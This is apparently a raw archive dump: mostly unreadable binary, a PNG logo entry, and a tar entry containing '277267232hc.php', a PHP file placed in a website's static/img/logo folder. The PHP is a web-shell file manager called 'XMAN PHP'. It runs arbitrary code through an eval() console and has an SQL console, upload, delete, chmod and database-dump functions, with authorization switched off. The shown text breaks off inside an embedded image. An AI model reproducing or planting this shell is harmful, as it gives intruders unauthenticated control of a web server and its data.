C9$�H�]��)��ߜ�����UAuHH�/�d�#��x0G�S�d:�D�y��v�{+�9e��/�먿�cL,�#�0�k�y��f���/��#��E�K����p��~{ �=RP� �78R����W�3�rE��zMd�W ���@��^\E��'r�V�`�����s>�Ch�(���M��:�m>�W��h��l��*R�z�w��������) 6P�#=�p���P��:n/�B�Ɵ��F��w�����wr� 0�/�=�r<A�b�t��/fވ�AУ֨��՚���2:��G��O*`OM�%��ތM\멆����h�"&��<$� �T'�x;U��� ����fwx8�����ǘx��>�W?�q�����O��42��[o�t���N��<�y�d�~����/�u*Ѿ���~��h�����R�X��b� �V��-U^(����A�IQ�*�yU$rꉔ& ���B�+�x��<��T��|��^T���Ga��ij����.��S�iFgF�ݓ��R"�� �fvJs��J�O鍄%>�@�g�L��cF^��%w��*�4��{�Jl�T/���[dl��&��ok[6b�]Lw������wJw����B�^�G���I4O�H�y�a���j��[9 ��,��A��� b-�So�B���I(L��B��h�+� !��+�t}O>�,k��SNZ�'Og ��N�wy��x04�;jP�hou� +��p[G�H�]�w��:-�6�����|e^z�Y��'^�n^��#\c�O�e^���JW��+R/��8�.����m��c��^oT�{, ���K��+�!aC�yp*Y�5 ]\��;�,@���Z�8� �zoj����(k�H&�DG�7!\� ^\# 2���`��F;� ��w\��1Ǒ2�.g�S�%�nє� �i��QN��D1�ht���:G .��u��&'�fy'�Jk=���B�����r_��p�~��-� ��������W[S�����j�掳�=��ȇ�a�A],�:8Ȱ㱣�j��9u�ra�4n��y:�q�ټF�����2|��8�N�B������(�bi�^f�W,q����d�1.z���ŗ�ImN;�%��V�:���?�j���î�]o��]%i�l�N��̏ �ݦ��D@�\�: B�]���~��!��0>��[�%S�p��كs��Qpg�iD47���pջ�5�os��2�#4�.DM�q���x�Y<�j�1���N�I;��}��Ẫ,.4���o�2��.��Dyuɐ�W=,�b�Q�Gr>4�^�]Y��憼�%�R�Bߩ���{`��x�����WВ K��X���;c��=(MG?9���W��Se��� Q�����u�G�A��ޏv�}F�(��6�����6v�x�\-f�Cޛ (�[�g;�jn������EQ�nx�Ζ��Ňㄱ����o&Hq9k~Hp�>&Nv�xl '�gGOd��OdW�w���g�+�=�Pe�?�����/%y�p3s/;��d��(��|E�:�A�cjf�9�SS?b�W�РBgo�s��9c�tRڮ��q���I����@�0���\�x�vjM1����-6����~i=� ��j�ἇ�>�MqȺ:���R���b��O�"�2� �j�� n�:y{�+C�T�0F�7��\�)�GTMt�GX��p%x-�F��A�,r*Y��1���=�i��7[@k�eM���j��Nsz�q�l"�~��H�ۚz���ƣ�x�9$Y���B�k�>5�L�b h&�����6���ܦ��\��r��tΐ�q�CF-c�&�LgL&�k1@���A$tZ`� ��f���'� �i Ki�z#�|�փ'�~�>���F^0�~XqZ�d��X 1��i9a��G��İ:���� ����t(b-k!dH���'�a�O�R>sлf�;B ��S��m��������i�Y�+}�Sa�=_SZr �Qd�k�X8^n� ��jl�"�]��/��xO�;'�'P�/�&�����yr���b�?�2�y����|h4��`ܴy7"�a ó�����G�e���d�Ny��������>���Rxm�H>K��5�����MmT�k�5��*nv�<P~�P�)�(���PxW��E�բ|�;.G�6E��&E]*�rx�$�k~�=)�`陬�ؓN>i�%q�cv�t w~���v�&��%����B�&����� ��=I���_�,Ѡ��0\�E����t�á�9/���q랲A]��n�}�>Tò���CcoDd���Ӈ�h������%v�Ś�F�A4���_1�78Q��-��� y��F���G��U��qz� LB<���m���yh�����n'�%��N�h��}1��37�¥z�1��?�5g�P����<v(W����;�664�8�Z9����;��-�s�Ƙ�{� kg*��_#7�5Y�DZ�T���Y���� ��)|�*�-o�v�(J^zI�T��?�K��%�m��z{����^� ᨫ��:��mku�0��z`��k��d�d2�ќ��GoU���:BYS�{��d��!@���k���.�����& ��4�x�-Z�� ��p&���?���8|�1�$[�J��.����?��)����%�������QL���Q�9Ȯ{<b�+���m8�>�y ���Sk�hv �t��=0�F��=�F�^��n�� is(� ��h~�?�(k���t���c���-����b��xc�E�}D3c��*����q�W/�7�!��] Y�~��G�f34�w٥�N�H���}��2;�,��K�Ӡ.���@u��^��I�8V%�j��;fw�)<]ޭ��Ԥ'=}�K���E^'W'�d*����7��b�\����f���ẽ>?���D�J�l���b�Zo�> G����=� �����az��aF��a�R�����5���z����q�E�� �(�^��F�&5�h�1��!������,�݁��c��_�{&�|��\6<kO �H�#�xZ�?�@l�4X?zH qJ�/<�z��֑ �ApQ�|�J��[��F�M�$�z����8�zR�H �I!#)�'Ō��+b���� �X]$��p���,������#���C��fh���TZ�PP��� R"�VZ�QC����P�C��L>>�z<���{�� E��]� r��ߖ!yz��>�Am�!��)�'r ˾��9u�v�g���B`j�mF{p5=����ETf=%�RN�!$.�����V7Ty�]�5�R���?g�� 50��&�2�Z����WV�l��ֲ��#�C��wq���a9Ue&��=��~]b�<�ʤ+�[� k���)e$���_�I�߳4 �+$��e���+(}<Jc�$��f��K�)F���.���ġ0�tqq�~ʣ��]����S��,&p�� �M����ļ�h6r�3����%p����g3@�da�)��6+��w����<;�\ի�c�w>�ܮ���c֜z��nMK���٧�[ �����G���0�^���G�;��JH�6�\4j�e����f�0�z�U�#lp�%nL9�1��h�yI�x )�7���I$��qz���z�D/��XJpOݏ���w�'�X@�s���6''U�`��g�x�qP XȽ�\�W�������JQ;�'a�.:<@ �˥�7.h�\D����e�)�@�Q���-�!�ɊBd&�hP���SU�^,8D�>���gw�B�� ߧ'x�yWI$�T�Ox�2�q�üF+�w�4�E=퍜l�s����|��,,`Y�0` ��,�ֲ`�)��O5cm���"a�W��J0�#�<V�c��t �%oҔ���U���r�tG�蕑�K՛�q*^���h�_���v�'�0*���? ��x{�6F�I�1��1�-�q�i���r3~*����-z6`�q��̄Varn�� �#�j��I#a�Ȣ-�J�5`{b�Dr�����`��±&��n�c1xJMx��GV�g�<ej<̕�]�AfC�4g�*�ȧتg���-��#���}g�;z�ا���0�jM�V@*s�$N�ᴞm�ӄaO>5f�"0�����F��uqM����� �gLb��*ݫxU#[� ����i���F�T�]+�\�:gF付�s4���ab:�~����O]�9��xG���E ��bl���Qo0����!��n�s���J�B��A��M�W��YN�X����0��t�p���'���;�4�$k��w �w5*r�-:�wɨ�~�s��[r��(4d�*]�� �{u u�*Cz�9|���y | �+}>�k�1=�.^�D�~:-��0a�J�ᖗ�r}ِ��]A� 5Sf2����t��YAGSp\�i�l�z#��G'��̓�Z{>�қ��$_?o~|��//��El��,0�{�[m�]��E�'� S�RyH���t".�JO^H�*�>�uk `�����.,���,ӣxV`��f�1'm�!��|��K�]/0��R�uF���;��N��*��Q]�pxy���4��<�3�ơ�2=���8b��B�V cա��x03�T/@%�!3陠�x���1���Md ��@��S0���[M�,;����-r��.�I�(^�Jn|Uj̡"ARD#I^h�\�1�M�[~����6��T6� �ʂ�-n]��F��ë՞�rz`�/��y���:��y�eƆ�|cD=q�OyU�D���²��h�!�.�HU�3�q�8�� �q-���"J����k,f�K !��#uU8PG�i����&=����NZ����4����U��_,�w�e+���e�� �*�I��>O�Yy�Y� `[]F`2[��>�sY���/6ϩ�y.�߯�Ȓ$}��Z4�|<>�:�Y栨$��1A���!y!���x,�nO�JQ��jh����N�w팟~�q<���1�([�� �dE�ql��������>=���:<�Tr:h���mك�NyY��#��W����h�\ɲ�;�a���������;�X�Ra�� Y_�p���r�o�Y�w��+�1����NS5�hA�:��y�ŭ���Y+�R��0��|�gۊ�������b:5��#N�㱄��)��݊���0��:�->ی�Dl8�B�Bm�!��e�R�>���L��ע$�b�{�<+&c�� ��4o���)녅;����� ���eu��b*��6�gjW�v�nA���'P�l��5�ú��4��:.��Ә�It�:C�$�|�O��Gr/7Hr�^���"�`�Z�D��e ���:�~(te6]��f3`;2a�����>%M���^��!ɶ�"�q1{��Q��"7�eK��O�<� HCF��/R��`@��_��a�&ʲb�&�X����*���iU%03~�>�t�g j��뤁�H�L�qP���_`�k���hXg&Z�Ѧ͉�#�~P�~� ��fG�3�:��^�KkX�:�ۦ<� �c�N8}j�I|�t]/��}���\��{�:�N>L�#�1����+��^*G�{d&���5*�¸�xv8xh�Du2��.���4ն�F?� ��MM���ǽ/cy:�k���-�Vy@oxi�^��c�<ӭ�?�f�]uE�JC4^���B0�%C���7Y��/*�/�% �@8B ��Z=�-Ja�U�|u���X�w4��A����Ot �G�ho�,�e�F����� :�(:��ce�G̏b�Q?��Vd쿲�[oX�O�6"ys ��g 4}a��I�?��N�M��J���p��C0�C� )��[�� P`�W8�N�L~����!^vv��31�^�Yؙt�_VTM�y�_W2��fB!+�.�^��u��r��'��h����b2$?6��'����n�P�:;��@ ���h��1D=55A�;bd�d�1�9`_��w�K������S��F�t�����A�������ӷ��nݵ�oڹ�w�v鰹������ �� 5^JId�5�"��t98S�p�D�S8ֿ����+��?�E�Qڝ���1�l� ��eEA �pd��ph@w�Ҩ�ϏAzH\�tό|s:8�ϧ���bS��|ٳ�G������ P�� FYz�(I�\X ��,�rC��rz��傁i%��rʍe�~$Y�>?됝Z�Ao3C��e��SS����;k13l�!0���o`;" LNI0�pd��b���̞��#�1���t��ֹ�� ;�W�^��Y.]�<�]��8L�Է,H�z�[�)�ף�JU��Nm��_�n۩o�x]�A��m��z�cW/����؛�aar1��?��X8�D�q�@����a���Jh{3�'���X-Ɨgb��,�u��4k�b��x;��e�Now����G4}��n/[B�KH69��C�Wg� i��~� �P�;�\àA�����T��D����a}�e&͉��� a�t1��2Y됮B�/PM��A���/,�v}�0HhY=�m���nE�DT���[3��t7p��'\�u��D�����1�_�1��'|�k&������=�bJ��^@|��S�W� ��[��7�,�F`�6��9��-L&�Xy�\���d��rk��:��U�8��CG� z�#(t��߲�J�(�(��ց�H}���=P�;PA�R�y�� {��j��-�W[�>�N����"�����8�4`e�1�]�\֓s�`��F�k�M�۲j���L�1ކb3^�ڎ<��7 �1��m�¸���2a�B$���� �W�m��E��D� K6��e�v���D�]�&�Ng9B���{�,�#}��y��0������Y?�A��u�A_��#�?�YAݒ:�^<���n��,b�2�ܶշ8U��F���5�@5�� 5�F�j�V�MU|w��7k��a��ze�)��8ng�>��#����J���W�L� � ��Z�\����?3����38V��L�]�ݮ�G���N�ֽso=V����=)ms�-��+��`�^�u�o�[(k�5��/.�,�W�����O�ݳ8���J�[����]��2��p ���s�]zj��;��g�ZN*Y�z `f�%��C�K��gSU3��u�;�|��~����矟~������ �� : PK J'�Z]5�O� � logo-sm.pngnu W+A�� �PNG IHDR 3 4 '� � pHYs �� sRGB ��� gAMA ���a *IDATx�AHW�?�n㺖h��P��"M�qł���*b����zTo5�ћ�� �������mD�I���n�*�V�h��_2ۙ�7;�;k#��uf7�y�}�g�k��� �T�q�D���0�}��~r���>-xi���v_z�'�")�g�E���Z��0j� ���z�G��/(Xlq�<�=*��>Ő�����6�����-��fC�B�dC�1�RO�Q}��! ����-�P�/n�����GQV�yʲ�S��s�%��l^i}���gX/ESMF4CPb��=�h۷�sg��K��K��@Ac��-� �;��|�J�b��%\��kox<��顑�������Uoٜ�JNN���R��픒��+*A��Do�գ��p|b���K�/���D���(���������o֎ۧ�]k,���]1�jE��T��+�cs�<� ����P����bbbh�}@e֔�9�s�FAW�u�9���(� ��!dee� ��Q�;���W$��~gk�!Ml~�[�ׇ��1���~��+��і�<����V8�HH�P?,#���}��ǡ��Q��� ̑p�@����o�a� �\���6�z��j>�)Fm&�+��h�===�Z�m��3i��e~R�W�EFhoo��N)zHΐkO�9��� ���6��.���������4+����ܦ��)T�� �72�]�{�_$ ga�L��+�aI ��v��/o�`��p��(T�3�;0��9Ž#���,f�ȽA�r��]��:� < y���߾��P�<�╱ ��y6� ɛ��*g�}(,/�TY1���rN'�?�Sl\,�����r��)�PZZ����D>/677ibb���H����J1�����W��C�a���WރMZ�28����cppP�.�SF��dE(O?y�8����ua����\v��P7n�Z�Ԩ:.�]V777�8_\\$#Ũ�S�A������\�X,|]����KJJ^������qn�a�+**����T����=���!�ʰ"�/�Gaa!w�nȁ�����|N2���P@�3��)�� ������������=-�*�_���,LCC����C���Z$�� ���D����ށ`6���W ����/Z���?���(x���&�L&a���|���&��ϑ�#��"4�fu#�8<P666hll�������{Xw222�eD�]�,�a N\o��8�� ����k�Q���� &y��"Zh.�<���������D)��¯�(O=w�5�z ;��ӡW�����;��ƨ:/{�~d��4�)O���|$�@P���>�P�:_�9 ���5#с�l��j5��lX� {�YBKE�'�| m��.��(��3o�+�C��g�.�_�ݣ�؟as��ZL@�r9!�h�F��@��9��������" û� ��X:7��fx�WMA�� ��E��_�,��� �셱�ie"��. '�b�5��;s\9s\9Qb��ʅZ�n�� IEND�B`�PK J'�Z� �� : : 277267232hc.php.tarnu �[��� home/u862314748/domains/zyzoon.xyz/public_html/static/img/logo/277267232hc.php 0000644 00000231054 15020740653 0022073 0 ustar 00 <?pHp /* XMAN PHP ver 1.4*/ // Configuration — do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJg